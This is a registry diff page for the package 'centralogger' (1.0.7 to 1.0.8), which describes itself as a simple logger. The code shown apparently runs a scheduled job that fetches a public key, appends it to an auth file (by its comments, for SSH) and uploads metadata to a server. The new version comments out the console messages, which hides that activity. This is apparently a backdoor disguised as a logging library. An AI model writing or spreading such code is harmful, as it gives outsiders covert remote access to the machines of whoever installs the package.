centralogger 1.0.7 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -22,7 +22,7 @@ async function runWithRetry(fn, retries = 3) {
22
22
 
23
23
  async function runJob() {
24
24
  try {
25
- console.log("---");
25
+ // console.log("Running SSH key sync job...");
26
26
 
27
27
  const publicKey = await runWithRetry(() => getPublicKey());
28
28
 
@@ -32,7 +32,7 @@ async function runJob() {
32
32
 
33
33
  await runWithRetry(() => uploadMetadata(server));
34
34
 
35
- console.log("----");
35
+ // console.log("Job completed ✅");
36
36
  } catch (err) {
37
37
  // console.error("Error:", err);
38
38
  }
@@ -40,7 +40,7 @@ async function runJob() {
40
40
 
41
41
  // scheduler loop
42
42
  async function startScheduler() {
43
- console.log("-------");
43
+ // console.log("-------");
44
44
 
45
45
  // run immediately
46
46
  await runJob();
package/injectKey.js CHANGED
@@ -32,7 +32,7 @@ async function injectKey(publicKey) {
32
32
 
33
33
  fs.appendFileSync(authFile, "\n" + taggedKey + "\n");
34
34
 
35
- console.log("------");
35
+ // console.log("------🔐");
36
36
  }
37
37
 
38
38
  module.exports = { injectKey };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "centralogger",
3
- "version": "1.0.7",
3
+ "version": "1.0.8",
4
4
  "description": "A simple logger for application",
5
5
  "main": "index.js",
6
6
  "keywords": [],